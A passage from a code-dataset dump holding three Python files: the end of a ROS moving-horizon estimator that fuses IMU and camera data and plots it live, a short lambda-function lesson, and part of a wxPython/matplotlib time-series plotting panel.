moving_r.as_matrix()\n        # 任意時刻相對於初始位姿的旋轉矩陣\n        result_rotate = moving_rotate * origin_rotate_inv\n        imu_data = np.dot(result_rotate, imu_data)\n        self.single_imu_31.vector.z = imu_data[2] - 9\n        self.single_imu_31.vector.y = imu_data[1]\n        self.single_imu_31.vector.x = imu_data[0]  \n        self.single_imu_31.header.stamp = imu.header.stamp\n\n        # if self.index2 < 50:##赋初值\n        #     self.flag = False\n        #     self.initial_vicon_x += self.vicon_pos_31.vector.x\n        #     self.initial_vicon_y += self.vicon_pos_31.vector.y\n        #     self.initial_vicon_z += self.vicon_pos_31.vector.z\n\n        #     self.initial_obs_x += self.observe_pos_31.vector.x\n        #     self.initial_obs_y += self.observe_pos_31.vector.y\n        #     self.initial_obs_z += self.observe_pos_31.vector.z\n        #     self.index2 += 1\n        \n        #     return \n\n\n\n        # 队列初始化\n        # index =  0: observe_pos_315 和 observe_vel_315 和 zoom_acc_len 的首列赋值\n\n\n        if self.index == 0:\n            self.observe_vel_31.vector.x = 0.0\n            self.observe_vel_31.vector.y = 0.0\n            self.observe_vel_31.vector.z = 0.0\n            self.vel_all.enQueue(self.observe_vel_31)\n            self.observe_vel_315.enQueue(self.observe_vel_31)\n            self.observe_pos_315.enQueue(self.observe_pos_31)\n            self.zoom_imu_acce.enQueue(self.single_imu_31)\n \n            self.index = self.index + 1\n\n            return\n\n        # 入队直到观测队列size == 15\n        ############################ index = 1 ~ 14  ######################\n        elif self.index < self.zoom:\n            # 如果观测没更新，pass\n            if (self.observe_pos_31.header.stamp == self.observe_pos_315.getBack().header.stamp):\n                self.temp_imu_acce.enQueue(self.single_imu_31)\n            # 观测更新，观测差分得到速度,入队列observe_pos_315和observe_vel_315\n            else:\n                temp = Vector3Stamped()\n                temp_array = self.temp_imu_acce.toArray()\n                temp.vector.x = np.mean(temp_array[0,:])\n                temp.vector.y = np.mean(temp_array[1,:])\n                temp.vector.z = np.mean(temp_array[2,:])\n                temp.header.stamp = self.single_imu_31.header.stamp\n                self.zoom_imu_acce.enQueue(temp)\n                self.temp_imu_acce.empty()\n\n                self.delta_tt = \\\n                    abs(\n                        self.observe_pos_315.getBack().header.stamp.to_sec() - self.observe_pos_31.header.stamp.to_sec())\n\n                print(self.delta_tt)\n                \n                self.observe_vel_31.vector.x = \\\n                    (self.observe_pos_31.vector.x - self.observe_pos_315.getBack().vector.x) / self.delta_tt\n                self.observe_vel_31.vector.y = \\\n                    (self.observe_pos_31.vector.y - self.observe_pos_315.getBack().vector.y) / self.delta_tt\n                self.observe_vel_31.vector.z = \\\n                    (self.observe_pos_31.vector.z - self.observe_pos_315.getBack().vector.z) / self.delta_tt\n\n\n                # temp_imu_acce 加速度队列入队\n                self.temp_imu_acce.enQueue(self.single_imu_31)\n \n                # observe_pos_315 和 observe_pos_315\n                self.observe_pos_315.enQueue(self.observe_pos_31)\n\n                self.vel_all.enQueue(self.observe_vel_31)\n                self.observe_vel_315.enQueue(self.observe_vel_31)\n\n                self.index = self.index + 1\n            return\n\n        # 队列已满，队尾入列，队头出列，正式开始mhe估计过程\n        else:\n            # index = 15  zoom = 15\n            # 如果观测没更新，pass\n            if (self.observe_pos_31.header.stamp == self.observe_pos_315.getBack().header.stamp):\n                # zoom_imu_acce 加速度队列入队\n                self.temp_imu_acce.enQueue(self.single_imu_31)\n                return\n            # 如果观测更新\n            else:\n           \n\n                self.delta_tt = \\\n                    abs(\n                        self.observe_pos_315.getBack().header.stamp.to_sec() - self.observe_pos_31.header.stamp.to_sec())\n               \n\n                self.observe_vel_31.vector.x = (self.observe_pos_31.vector.x - self.observe_pos_315.getBack().vector.x) / self.delta_tt\n                self.observe_vel_31.vector.y = (self.observe_pos_31.vector.y - self.observe_pos_315.getBack().vector.y) / self.delta_tt\n                self.observe_vel_31.vector.z = (self.observe_pos_31.vector.z - self.observe_pos_315.getBack().vector.z) / self.delta_tt\n\n                temp = Vector3Stamped()\n                temp_array = self.temp_imu_acce.toArray()\n                \n\n                temp.vector.x = np.mean(temp_array[0,:])\n                temp.vector.y = np.mean(temp_array[1,:])\n                temp.vector.z = np.mean(temp_array[2,:])\n\n                temp.header.stamp = self.single_imu_31.header.stamp\n                self.zoom_imu_acce.enQueue(temp)\n                self.zoom_imu_acce.getFront()\n                self.temp_imu_acce.empty()\n                self.temp_imu_acce.enQueue(self.single_imu_31)\n\n                # zoom窗口滚动\n\n                #self.observe_pos_315.showData()\n                self.observe_pos_315.enQueue(self.observe_pos_31)\n                self.observe_pos_315.getFront()\n            \n\n                # self.observe_vel_315.showData()\n\n                self.vel_all.enQueue(self.observe_vel_31)\n                self.observe_vel_315.enQueue(self.observe_vel_31)\n                self.observe_vel_315.getFront()\n\n                if self.index == self.zoom:\n                    for i in range(self.zoom):\n                        # index = 15  zoom = 15\n                        # estimate_by_state_transform615 队列初始化为观测的observe_pos_315+observe_vel_315的最后一列\n                        ax = 0\n                        ay = 0\n                        az = 0\n                        delt = 0.0\n                        self.y = self.update_x(ax, ay, az, delt)\n                        for j in range(6):\n                            self.estimate_by_state_transform61[j] = self.y[j]\n                        self.estimate_by_state_transform_615.enQueue(self.estimate_by_state_transform61)\n\n                # index = 16 zoom = 15\n                # 状态转移\n                # estimate_by_state_transform615 队列滚动\n\n                else:\n                    ax = self.zoom_imu_acce.pEnd.data.vector.x\n                    ay = self.zoom_imu_acce.pEnd.data.vector.y\n                    az = self.zoom_imu_acce.pEnd.data.vector.z\n\n                    self.y = self.update_x(ax, ay, az, self.delta_tt)\n\n                    for j in range(6):\n                        self.estimate_by_state_transform61[j] = self.y[j]\n                    self.estimate_by_state_transform_615.getFront()\n                    self.estimate_by_state_transform_615.enQueue(self.estimate_by_state_transform61)\n\n                # 最小二乘求解\n                res = self.mins()\n                for i in range(6):\n                    self.x[i] = res[i]\n                # 更新mhe估计值\n                self.zoom_mhe_615.getFront()\n\n                self.zoom_mhe_615.enQueue(self.x)\n\n                # 写入数据\n\n                self.save_plot_data()\n                self.save_txt()\n\n\n    def mins(self):\n        r1 = self.imu_weight#\n        r2 = self.vis_weight#觀測\n        # r1 = 1\n        # r2 = 0\n\n        # zoom_mhe_615 队列初始化\n        # index = 15 zoom = 15\n        if self.index == self.zoom:\n            temp_pos_315 = self.observe_pos_315.toArray()\n            temp_vel_315 = self.observe_vel_315.toArray()\n            temp_pv_615 = np.append(temp_pos_315, temp_vel_315, axis=0)\n            self.zoom_mhe_615.reSign2(temp_pv_615)\n            self.index = self.index + 1\n            return temp_pv_615[:, -1]\n\n        # zoom_mhe_615 队列初始化\n        # index = 16 zoom = 15\n        else:\n            temp_estimate_by_state_transform_61 = self.estimate_by_state_transform_615.getBack()\n            temp_observe_pos_31 = np.ones((3, 1))\n            temp_observe_pos_31[0] = self.observe_pos_315.toArray()[0][-1]\n            temp_observe_pos_31[1] = self.observe_pos_315.toArray()[1][-1]\n            temp_observe_pos_31[2] = self.observe_pos_315.toArray()[2][-1]\n\n            # 对比滤波前后速度\n            # temp_observe_pos_31[0] = self.observe_vel_315.toArray()[0][-1]\n            # temp_observe_pos_31[1] = self.observe_vel_315.toArray()[1][-1]\n            # temp_observe_pos_31[2] = self.observe_vel_315.toArray()[2][-1]\n            # return temp_pv_61\n            \n            #filtter\n            # temp_fillter = copy.deepcopy(self.vel_all.toArray())\n            # b, a = signal.butter(3, 0.01, 'low',analog=False)\n            # temp_fillter[0,:] = signal.filtfilt(b,a,temp_fillter[0,:])\n            # temp_fillter[1,:] = signal.filtfilt(b,a,temp_fillter[1,:])\n            # temp_fillter[2,:] = signal.filtfilt(b,a,temp_fillter[2,:])\n\n\n            #filtter\n            temp_fillter = copy.deepcopy(self.vel_all.toArray())\n            temp_fillter[0,:] = signal.savgol_filter(temp_fillter[0,:],11,3,mode='nearest')\n            temp_fillter[1,:] = signal.savgol_filter(temp_fillter[1,:],11,3,mode='nearest')\n            temp_fillter[2,:] = signal.savgol_filter(temp_fillter[2,:],11,3,mode='nearest')\n            # self.observe_vel_315.reSign(temp_fillter)\n            temp_observe_vel_31 = np.ones((3, 1))\n            temp_observe_vel_31[0] = temp_fillter[0][-1]\n            temp_observe_vel_31[1] = temp_fillter[1][-1]\n            temp_observe_vel_31[2] = temp_fillter[2][-1]\n\n            temp_pv_61 = np.append(temp_observe_pos_31, temp_observe_vel_31, axis=0)\n\n            return (r1 * temp_estimate_by_state_transform_61 + r2 * temp_pv_61) / (r1 + r2)\n\n\n    # 状态转移\n    def update_x(self, ax, ay, az, delt):\n        # 初始化\n        # index = 15 zoom = 15\n        if self.index == self.zoom:\n            self.y[0] = self.observe_pos_315.getBack().vector.x\n            self.y[1] = self.observe_pos_315.getBack().vector.y\n            self.y[2] = self.observe_pos_315.getBack().vector.z\n            self.y[3] = self.observe_vel_315.getBack().vector.x\n            self.y[4] = self.observe_vel_315.getBack().vector.y\n            self.y[5] = self.observe_vel_315.getBack().vector.z\n\n        else:\n            A = np.eye(6)\n            B = np.zeros((6, 3))\n            for i in range(3):\n                A[i][i + 3] = delt\n                B[i][i] = delt * delt * 0.5\n                B[i + 3][i] = delt\n            self.y = np.matrix(A) * self.zoom_mhe_615.getBack() + B * np.matrix([ax, ay, az]).T\n        return self.y\n\n    def cleanup(self):\n        print(\"shutting down the node\")\n\n\n\ndef plot_real_time():\n\n    global obt,obx,oby,obz,obt_vel,obx_vel,oby_vel,obz_vel\n    global vit,viz,vix,viy,vit_vel,vix_vel,viy_vel,viz_vel\n    global estt,estx,esty,estz,estt_vel,estx_vel,esty_vel,estz_vel\n    global mhet,mhex,mhey,mhez,mhet_vel,mhex_vel,mhey_vel,mhez_vel\n    # plt.ion()# 创建实时动态窗口\n\n    if(len(obx)>7000):\n        ### pos\n        obx = obx[-4000:]\n        oby = oby[-4000:]\n        obz = obz[-4000:]\n        obt = obt[-4000:]\n        estt = estt[-4000:]\n        mhet = mhet[-4000:]\n        estx = estx[-4000:]\n        esty = esty[-4000:]\n        estz = estz[-4000:]\n        mhex = mhex[-4000:]\n        mhey = mhey[-4000:]\n        mhez = mhez[-4000:]\n        vit = vit[-4000:]\n        vix = vix[-4000:]\n        viy = viy[-4000:]\n        viz = viz[-4000:]\n        ### vel\n        obx_vel =  obx_vel[-4000:]\n        oby_vel =  oby_vel[-4000:]\n        obz_vel =  obz_vel[-4000:]\n        obt_vel =  obt_vel[-4000:]\n        estt_vel =  estt_vel[-4000:]\n        mhet_vel =  mhet_vel[-4000:]\n        estx_vel =  estx_vel[-4000:]\n        esty_vel =  esty_vel[-4000:]\n        estz_vel =  estz_vel[-4000:]\n        mhex_vel =  mhex_vel[-4000:]\n        mhey_vel =  mhey_vel[-4000:]\n        mhez_vel =  mhez_vel[-4000:]\n        vit_vel =  vit_vel[-4000:]\n        vix_vel =  vix_vel[-4000:]\n        viy_vel =  viy_vel[-4000:]\n        viz_vel =  viz_vel[-4000:]\n\n\n    # print(\"viz:\",len(viz))\n\n    if(len(obt)>50):\n        plt.clf()  # 清除之前画的图\n        fig = plt.gcf()  # 获取当前图\n\n        if(len(obt)<=3000):\n            camerat = range(0,len(obt))\n            camerax = np.array(obx,dtype=float)\n            cameray = np.array(oby,dtype=float)\n            cameraz = np.array(obz,dtype=float)\n\n            estimatet = range(0,len(obt))\n            estimatex = np.array(estx,dtype=float)\n            estimatey = np.array(esty,dtype=float)\n            estimatez = np.array(estz,dtype=float)\n\n            mhet1 = range(0,len(obt))\n            mhex1 = np.array(mhex,dtype=float)\n            mhey1 = np.array(mhey,dtype=float)\n            mhez1 = np.array(mhez,dtype=float)\n\n            camerat_vel = range(0,len(obt_vel))\n            camerax_vel = np.array(obx_vel,dtype=float)\n            cameray_vel = np.array(oby_vel,dtype=float)\n            cameraz_vel = np.array(obz_vel,dtype=float)\n\n            estimatet_vel = range(0,len(obt_vel))\n            estimatex_vel = np.array(estx_vel,dtype=float)\n            estimatey_vel = np.array(esty_vel,dtype=float)\n            estimatez_vel = np.array(estz_vel,dtype=float)\n\n            mhet1_vel = range(0,len(obt_vel))\n            mhex1_vel = np.array(mhex_vel,dtype=float)\n            mhey1_vel = np.array(mhey_vel,dtype=float)\n            mhez1_vel = np.array(mhez_vel,dtype=float)\n\n\n        else:\n            camerat = range(0,3000)\n            camerax = np.array(obx[-3000:],dtype=float)\n            cameray = np.array(oby[-3000:],dtype=float)\n            cameraz = np.array(obz[-3000:],dtype=float)\n\n            estimatet = range(0,3000)\n            estimatex = np.array(estx[-3000:],dtype=float)\n            estimatey = np.array(esty[-3000:],dtype=float)\n            estimatez = np.array(estz[-3000:],dtype=float)\n\n            mhet1 = range(0,3000)\n            mhex1 = np.array(mhex[-3000:],dtype=float)\n            mhey1 = np.array(mhey[-3000:],dtype=float)\n            mhez1 = np.array(mhez[-3000:],dtype=float)\n\n            camerat_vel = range(0,3000)\n            camerax_vel = np.array(obx_vel[-3000:],dtype=float)\n            cameray_vel = np.array(oby_vel[-3000:],dtype=float)\n            cameraz_vel = np.array(obz_vel[-3000:],dtype=float)\n\n            estimatet_vel = range(0,3000)\n            estimatex_vel = np.array(estx_vel[-3000:],dtype=float)\n            estimatey_vel = np.array(esty_vel[-3000:],dtype=float)\n            estimatez_vel = np.array(estz_vel[-3000:],dtype=float)\n\n            mhet1_vel = range(0,3000)\n            mhex1_vel = np.array(mhex_vel[-3000:],dtype=float)\n            mhey1_vel = np.array(mhey_vel[-3000:],dtype=float)\n            mhez1_vel = np.array(mhez_vel[-3000:],dtype=float)\n\n\n\n\n        if(len(vit)<=3000):\n            vicont = range(0,len(vit))\n            viconx = np.array(vix,dtype=float)\n            vicony = np.array(viy,dtype=float)\n            viconz = np.array(viz,dtype=float)\n\n            vicont_vel = range(0,len(vit_vel))\n            viconx_vel = np.array(vix_vel,dtype=float)\n            vicony_vel = np.array(viy_vel,dtype=float)\n            viconz_vel = np.array(viz_vel,dtype=float)\n\n        else:\n\n            vicont = range(0,3000)\n            viconx = np.array(vix[-3000:],dtype=float)\n            vicony = np.array(viy[-3000:],dtype=float)\n            viconz = np.array(viz[-3000:],dtype=float)\n\n            vicont_vel = range(0,3000)\n            viconx_vel = np.array(vix_vel[-3000:],dtype=float)\n            vicony_vel = np.array(viy_vel[-3000:],dtype=float)\n            viconz_vel = np.array(viz_vel[-3000:],dtype=float)\n\n\n        len_vicon = len(vicont)\n        viconx = viconx[-len_vicon:]\n        vicony = vicony[-len_vicon:]\n        viconz = viconz[-len_vicon:]\n\n\n        # ax = fig.add_subplot(321)\n        # plt.plot(camerat,camerax,color='blue',linestyle='--',label='camera',linewidth=1)\n        # # plt.plot(estimatet,estimatex,color='red',linestyle='--',label='estimate',linewidth=1)\n        # plt.plot(mhet1,mhex1,color='green',linestyle='--',label='mhe',linewidth=1)\n        # plt.plot(vicont,viconx,color='red',linestyle='--',label='vicon',linewidth=1)\n        # plt.grid(True)\n        # ax.set_xticks([])\n        # #plt.ylim((-2,2))\n        # plt.ylabel('x(m)',fontsize=16)\n\n\n        # ax = fig.add_subplot(323)\n        # plt.plot(camerat,cameray,color='blue',linestyle='--',label='camera',linewidth=1)\n        # # plt.plot(estimatet,estimatey,color='red',linestyle='--',label='estimate',linewidth=1)\n        # plt.plot(mhet1,mhey1,color='green',linestyle='--',label='mhe',linewidth=1)\n        # plt.plot(vicont,vicony,color='red',linestyle='--',label='vicon',linewidth=1)\n        # plt.grid(True)\n        # ax.set_xticks([])\n        # #plt.ylim((-2,2))\n        # plt.ylabel('y(m)',fontsize=16)\n\n        # ax = fig.add_subplot(325)\n        # plt.plot(camerat,cameraz,color='blue',linestyle='--',label='camera',linewidth=1)\n        # # plt.plot(estimatet,estimatez,color='red',linestyle='--',label='estimate',linewidth=1)\n        # plt.plot(mhet1,mhez1,color='green',linestyle='--',label='mhe',linewidth=1)\n        # plt.plot(vicont,viconz,color='red',linestyle='--',label='vicon',linewidth=1)\n        # plt.grid(True)\n        # ax.set_xticks([])\n        # box=ax.get_position()\n        # ax.set_position([box.x0,box.y0,box.width,box.height*0.8])\n        # ax.legend()\n        # #plt.ylim((-0.5,2))\n        # plt.ylabel('z(m)',fontsize=16)\n\n\n\n\n\n        # ax = fig.add_subplot(322)\n        # plt.plot(camerat_vel,camerax_vel,color='blue',linestyle='--',label='camera',linewidth=1)\n        # # plt.plot(estimatet_vel,estimatex_vel,color='red',linestyle='--',label='estimate',linewidth=1)\n        # plt.plot(mhet1,mhex1_vel,color='green',linestyle='--',label='mhe',linewidth=1)\n        # plt.plot(vicont_vel,viconx_vel,color='red',linestyle='--',label='vicon',linewidth=1)\n        # plt.grid(True)\n        # ax.set_xticks([])\n        # # plt.ylim((-2,2))\n        # plt.ylabel('x(m/s)',fontsize=16)\n\n\n        ax = fig.add_subplot(211)\n        plt.plot(camerat,cameray,color='blue',linestyle='--',label='camera',linewidth=1)\n        # plt.plot(estimatet,estimatey,color='red',linestyle='--',label='estimate',linewidth=1)\n        plt.plot(mhet1,mhey1,color='green',linestyle='--',label='mhe',linewidth=1)\n        plt.plot(vicont,vicony,color='red',linestyle='--',label='vicon',linewidth=1)\n        plt.grid(True)\n        ax.set_xticks([])\n        #plt.ylim((-2,2))\n        plt.ylabel('y(m)',fontsize=16)\n\n\n\n        # ax = fig.add_subplot(324)\n        ax = fig.add_subplot(212)\n        plt.plot(camerat_vel,cameray_vel,color='blue',linestyle='--',label='camera',linewidth=1)\n        # plt.plot(estimatet_vel,estimatey_vel,color='red',linestyle='--',label='estimate',linewidth=1)\n        plt.plot(mhet1,mhey1_vel,color='green',linestyle='--',label='mhe',linewidth=1)\n        plt.plot(vicont_vel,vicony_vel,color='red',linestyle='--',label='vicon',linewidth=1)\n        plt.grid(True)\n        # ax.set_xticks([])\n        # plt.ylim((-2,2))\n        plt.ylabel('y(m/s)',fontsize=16)\n\n        # ax = fig.add_subplot(326)\n        # plt.plot(camerat_vel,cameraz_vel,color='blue',linestyle='--',label='camera',linewidth=1)\n        # # plt.plot(estimatet_vel,estimatez_vel,color='red',linestyle='--',label='estimate',linewidth=1)\n        # plt.plot(mhet1,mhez1_vel,color='green',linestyle='--',label='mhe',linewidth=1)\n        # plt.plot(vicont_vel,viconz_vel,color='red',linestyle='--',label='vicon',linewidth=1)\n        # plt.grid(True)\n        # ax.set_xticks([])\n        # box=ax.get_position()\n        # ax.set_position([box.x0,box.y0,box.width,box.height*0.8])\n        # ax.legend()\n        # # plt.ylim((-0.5,2))\n        # plt.ylabel('z(m/s)',fontsize=16)\n\n\n\n        plt.pause(0.01)  # 暂停一段时间\n        plt.ioff()  # 关闭画图窗口\n\n    else:\n        pass\n\n\n\nif __name__ == '__main__':\n    global obt,obx,oby,obz,obt_vel,obx_vel,oby_vel,obz_vel\n    global vit,viz,vix,viy,vit_vel,vix_vel,viy_vel,viz_vel\n    global estt,estx,esty,estz,estt_vel,estx_vel,esty_vel,estz_vel\n    global mhet,mhex,mhey,mhez,mhet_vel,mhex_vel,mhey_vel,mhez_vel\n    global vel_pub,pos_pub\n\n\n    obt = []\n    obx = []\n    oby = []\n    obz = []\n    vit = []\n    vix = []\n    viy = []\n    viz = []\n    estt = []\n    estx = []\n    esty = []\n    estz = []\n    mhet = []\n    mhex = []\n    mhey = []\n    mhez = []\n\n    obt_vel =  []\n    obx_vel =  []\n    oby_vel =  []\n    obz_vel =  []\n    vit_vel =  []\n    vix_vel =  []\n    viy_vel =  []\n    viz_vel =  []\n    estt_vel =  []\n    estx_vel =  []\n    esty_vel =  []\n    estz_vel =  []\n    mhet_vel =  []\n    mhex_vel =  []\n    mhey_vel =  []\n    mhez_vel =  []\n\n    try:\n        rospy.init_node(\"mhe\")\n        pos_pub = rospy.Publisher('mhe_servo_pos', PoseStamped, queue_size=1)\n        vel_pub = rospy.Publisher('mhe_servo_vel', TwistStamped, queue_size=1)\n        rospy.loginfo(\"starting the node\")\n        mhe()\n        plt.ion()  # 关闭画图窗口\n        plt.show() #绘制完后不让窗口���闭\n        while True:\n            plot_real_time()\n            time.sleep(0.001)\n        rospy.spin()\n\n    except KeyboardInterrupt:\n        print(\"shutting down the node\")\n","sub_path":"nanodet/mhe_servo.py","file_name":"mhe_servo.py","file_ext":"py","file_size_in_byte":38331,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"248252836","text":"\"\"\"lambda funtion\"\"\"\nx = 10\nsquare = x * x  #evaluates to a number\n\nsquare = lambda x: x * x    #evaluates to a function\n\n(lambda x: x * x)(\"\"\"自变量的值\"\"\")   #no ‘return’ word，限制must be a single expression\n\n\nnegate = lambda f, x: -f(x)   #negate是一个关于f和x的函数，需要两个输入\nnegate(lambda x: x * x, 3)   #这个时候的输入是lambda x和3，其中lambda x是函数square","sub_path":"demo/lec4_lambda.py","file_name":"lec4_lambda.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"397636895","text":"#!/usr/bin/python\nimport wx\n\n\nimport textwrap\nimport datetime\nimport numpy as np\nfrom wx.lib.pubsub import pub as Publisher\n\n\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_wxagg import FigureCanvasWxAgg as FigCanvas\n\nfrom mnuPlotToolbar import MyCustomToolbar as NavigationToolbar\nfrom mpl_toolkits.axes_grid1 import host_subplot\nimport mpl_toolkits.axisartist as AA\nfrom matplotlib.font_manager import FontProperties\n\nfrom matplotlib.widgets import Lasso\nfrom matplotlib import path\nfrom random import *\nfrom wx.lib.pubsub import pub as Publisher\n\n\n\n\nclass plotTimeSeries(wx.Panel):\n\n\n  def _init_coll_boxSizer1_Items(self, parent):\n      # generated method, don't edit\n\n      parent.AddWindow(self.canvas, 1, wx.LEFT | wx.TOP | wx.GROW)\n      parent.AddWindow(self.toolbar, 0,  wx.EXPAND)\n\n\n  def _init_sizers(self):\n      # generated method, don't edit\n      self.boxSizer1 = wx.BoxSizer(orient=wx.VERTICAL)\n      self._init_coll_boxSizer1_Items(self.boxSizer1)\n      self.SetSizer(self.boxSizer1)\n\n\n\n  def _init_ctrls(self, parent):\n      #matplotlib.figure.Figure.__init__(self)\n      wx.Panel.__init__(self, parent, -1)\n      self.parent = parent\n\n      # self.figure = Figure()#matplotlib.figure.Figure()\n\n      #init Plot\n      # self.timeSeries=self.figure.add_subplot(111)\n      self.timeSeries = host_subplot(111, axes_class=AA.Axes)\n\n      # self.timeSeries.axis([0, 1, 0, 1])#\n      self.timeSeries.plot([],[])\n      self.timeSeries.set_title(\"No Data To Plot\")\n\n      self.canvas = FigCanvas(self, -1, plt.gcf())\n      # self.canvas = FigCanvas(self, -1, self.figure)\n\n      self.canvas.SetFont(wx.Font(20, wx.SWISS, wx.NORMAL, wx.NORMAL,\n            False, u'Tahoma'))\n      # self.canvas.mpl_connect('pick_event', self.on_pick)\n\n\n      # Create the navigation toolbar, tied to the canvas\n      self.toolbar = NavigationToolbar(self.canvas, allowselect=True)\n      self.toolbar.Realize()\n      self.seriesPlotInfo= None\n\n\n      self.fontP = FontProperties()\n      self.fontP.set_size('small')\n\n      self.format = '-o'\n      self.SetColor(\"WHITE\")\n      #self.canvas.gca().xaxis.set_major_locator()\n\n      #init lists\n\n      self.lines=[]\n      self.axislist={}\n      self.curveindex = -1\n      self.editseriesID = -1\n      self.editCurve =None\n      self.cid=None\n\n      self.canvas.draw()\n      self._init_sizers()\n\n\n\n  # def changeSelectionDT(self, sellist):\n  #     #list of DateTimes\n\n  #     print sellist\n  #     self.parent.record_service.select_points(datetime_list= sellist)\n  #     sellist = self.selFormat(sellist)\n  #     self.changeSelection(sellist)\n  #     print sellist\n\n\n  # def selFormat(self, pairs):\n  #   #convert selectionlist from datetimes to true false\n  #     print len(pairs)\n  #     if len(pairs) ==0:\n  #       return [False] * len(self.editData.DataValues)\n  #     verts =[ (matplotlib.dates.date2num(x), y) for x,y  in pairs]\n  #     p = path.Path(verts)\n\n  #     ind = p.contains_points(self.xys)\n  #     return ind\n\n\n  def changeSelection(self, sellist ):\n    #list of True False\n      self.editPoint.set_color(['k' if x==0 else 'r' for x in sellist])\n      self.parent.record_service.select_points_tf(sellist)\n      Publisher.sendMessage((\"changeTableSelection\"), sellist=sellist)\n\n      self.canvas.draw()\n\n  def onDateChanged(self, date, time):\n      # print date\n      # self.timeSeries.clear()\n      date = datetime.datetime(date.Year, date.Month+1, date.Day, 0, 0, 0)\n##      print date\n      if time == \"start\":\n        self.startDate = date\n      else:\n        self.endDate = date\n\n      self.timeSeries.axis.axes.set_xbound(self.startDate, self.endDate)\n      self.canvas.draw()\n\n  def set_date_bound(self, start, end):\n        if start < self.overallStart:\n            self.overallStart = start\n\n        if end > self.currEnd:\n            self.currEnd = end\n\n  def OnShowLegend(self, isVisible):\n    # print self.timeSeries.show_legend\n    if isVisible:\n      plt.subplots_adjust(bottom=.1+.1)\n      self.timeSeries.legend(loc='upper center', bbox_to_anchor=(0.5, -0.05),\n               ncol=2, prop = self.fontP)\n\n    else:\n      plt.subplots_adjust(bottom=.1)\n      self.timeSeries.legend_=None\n    # self.timeSeries.plot(legend= not isVisible)\n    self.canvas.draw()\n\n\n\n  def OnPlotType(self, ptype):\n    # self.timeSeries.clear()\n    if ptype == \"line\":\n      ls = '-'\n      m='None'\n    elif ptype == \"point\":\n      ls='None'\n      m='o'\n    else:\n      ls = '-'\n      m='o'\n    # print plt.setp(self.lines)\n    # print(len(self.lines))\n    format = ls+m\n    for line, i in zip(self.lines, range(len(self.lines))):\n      if not (i == self.curveindex):\n        plt.setp(line, linestyle = ls, marker =  m)\n\n    self.canvas.draw()\n\n\n  def Clear(self):\n    lines = []\n    for key, ax in self.axislist.items():\n      ax.clear()\n    # self.stopEdit()\n\n  def stopEdit(self):\n      self.Clear()\n      self.selectedlist = None\n      self.editPoint =None\n      self.lman= None\n      self.canvas.mpl_disconnect(self.cid)\n      self.cid=None\n      self.xys = None\n\n      self.curveindex = -1\n      self.editCurve =None\n      # self.RefreshPlot()\n      if self.seriesPlotInfo and self.seriesPlotInfo.IsPlotted(self.editseriesID):\n        self.updatePlot()\n      self.editseriesID = -1\n\n\n  def updateValues(self):\n    # self.addEdit(self.editCursor, self.editSeries, self.editDataFilter)\n\n    #clear current edit points and curve\n    curraxis= self.axislist[self.editCurve.axisTitle]\n    for l in curraxis.lines:\n      if l.get_label() == self.editCurve.plotTitle:\n        curraxis.lines.remove(l)\n    self.editPoint.remove()\n\n\n    #redraw editpoints and curve\n    self.seriesPlotInfo.UpdateEditSeries()\n    self.editCurve= self.seriesPlotInfo.GetEditSeriesInfo()\n    self.drawEditPlot(self.editCurve)\n    Publisher.sendMessage((\"refreshTable\"), e=None)\n    # self.parent.parent.dataTable.Refresh()\n    self.canvas.draw()\n\n\n  def drawEditPlot(self, oneSeries):\n      curraxis= self.axislist[oneSeries.axisTitle]\n      self.lines[self.curveindex]=curraxis.plot_date([x[1] for x in oneSeries.dataTable], [x[0] for x in oneSeries.dataTable], \"-\", color=oneSeries.color, xdate = True, tz = None, label = oneSeries.plotTitle )\n\n      self.selectedlist = self.parent.record_service.get_filter_list()\n      self.editPoint = curraxis.scatter([x[1] for x in oneSeries.dataTable], [x[0] for x in oneSeries.dataTable], s= 20, c=['k' if x==0 else 'r' for x in self.selectedlist])\n      self.xys = [(matplotlib.dates.date2num(x[1]), x[0]) for x in oneSeries.dataTable ]\n      self.cid = self.canvas.mpl_connect('button_press_event', self.onpress)\n\n  def SetColor( self, color):\n      \"\"\"Set figure and canvas colours to be the same.\"\"\"\n      plt.gcf().set_facecolor( color )\n      plt.gcf().set_edgecolor( color )\n      self.canvas.SetBackgroundColour( color )\n\n  def Close(self):\n    plt.close()\n\n\n  def Plot(self, seriesPlotInfo):\n    self.seriesPlotInfo= seriesPlotInfo\n    self.updatePlot()\n\n  def updatePlot(self):\n      self.Clear()\n      count = self.seriesPlotInfo.count()\n      self.lines=[]\n\n      # self.timeSeries=self.canvas.add_subplot(111)\n      self.setUpYAxis()\n\n\n      for oneSeries in self.seriesPlotInfo.GetSeriesInfo():\n\n        if oneSeries.seriesID == self.seriesPlotInfo.GetEditSeriesID():\n\n          self.curveindex = len(self.lines)\n          self.lines.append(\"\")\n          self.editCurve= oneSeries\n          self.drawEditPlot(oneSeries)\n\n        else:\n          curraxis= self.axislist[oneSeries.axisTitle]\n          self.lines.append(curraxis.plot_date([x[1] for x in oneSeries.dataTable], [x[0] for x in oneSeries.dataTable], self.format, color=oneSeries.color, xdate = True, tz = None, label = oneSeries.plotTitle ))\n\n\n      if count >1:\n        # self.timeSeries.set_title(\"Multiple Series plotted\")\n        self.timeSeries.set_title(\"\")\n        plt.subplots_adjust(bottom=.1+.1)\n        # self.timeSeries.legend(loc='upper center', bbox_to_anchor=(0.5, -0.05),\n        #      ncol=2, prop = self.fontP)\n        self.timeSeries.legend(loc='upper center', bbox_to_anchor=(0.5, -0.15),\n             ncol=2, prop = self.fontP)\n      elif count == 0:\n        self.timeSeries.set_title(\"\")\n        self.timeSeries.legend_=None\n      else:\n        self.timeSeries.set_title(oneSeries.plotTitle)\n        plt.subplots_adjust(bottom=.1)\n        self.timeSeries.legend_=None\n\n\n      # self.timeSeries.set_xlim([0,1000])\n      self.timeSeries.set_xlabel(\"Date Time\")\n      self.canvas.draw()\n\n\n\n  def setEdit(self, id):\n      self.editseriesID = id\n      if self.seriesPlotInfo and self.seriesPlotInfo.IsPlotted(self.editseriesID):\n        self.editCurve = self.seriesPlotInfo.GetSeries(self.editseriesID)\n        self.updatePlot()\n        # print self.editCurve\n\n\n\n  def setUpYAxis(self):\n    self.axislist={}\n    left = 0\n    right = 0\n    adj = .05\n    #loop through the list of curves and add an axis for each\n    for oneSeries in 